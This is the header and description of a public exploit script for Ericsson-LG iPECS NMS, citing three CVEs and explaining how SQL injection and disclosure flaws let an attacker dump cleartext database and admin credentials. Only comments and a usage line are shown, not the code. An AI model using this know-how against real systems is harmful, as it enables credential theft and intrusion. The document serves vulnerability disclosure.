# Exploit Title: Ericsson-LG iPECS NMS - Cleartext Cred. Dump
# Vendor Notification: 03-03-2018 - No response
# Initial CVE: 04-04-2018
# Disclosure:  21-04-2018
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://www.ipecs.com/
# Version: A.1Ac and possibly earlier
# Tested on: Windows 2008 R2 x64
# CVE-2018-9245:  Multiple SQL injections
# CVE-2018-10285: Incorrect access control
# CVE-2018-10286: Sensitive information disclosure


#--------Description--------#
#
#
# The Ericsson-LG iPECS NMS version A.1Ac and possibly earlier disclose sensitive
# information such as cleartext database and NMS login credentials, use incorrect
# access control mechanisms, are vulnerable to MiTM attacks and are prone to
# SQL injection attacks on multiple parameters.
#
# This script dumps some sensitive information.
#
#
# Why use it?
#
# Normally, you can bypass the login through the SQLi but will get "kicked out".
# Thankfully, we can leverage this to extract the actual admin credentials for
# the web app. In order to do this, we must first dump the database
# credentials in cleartext.
#
#



# Usage = python cred_dump.py IP_adress port
# Example = python cred_dump.py 192.168.1.35 80
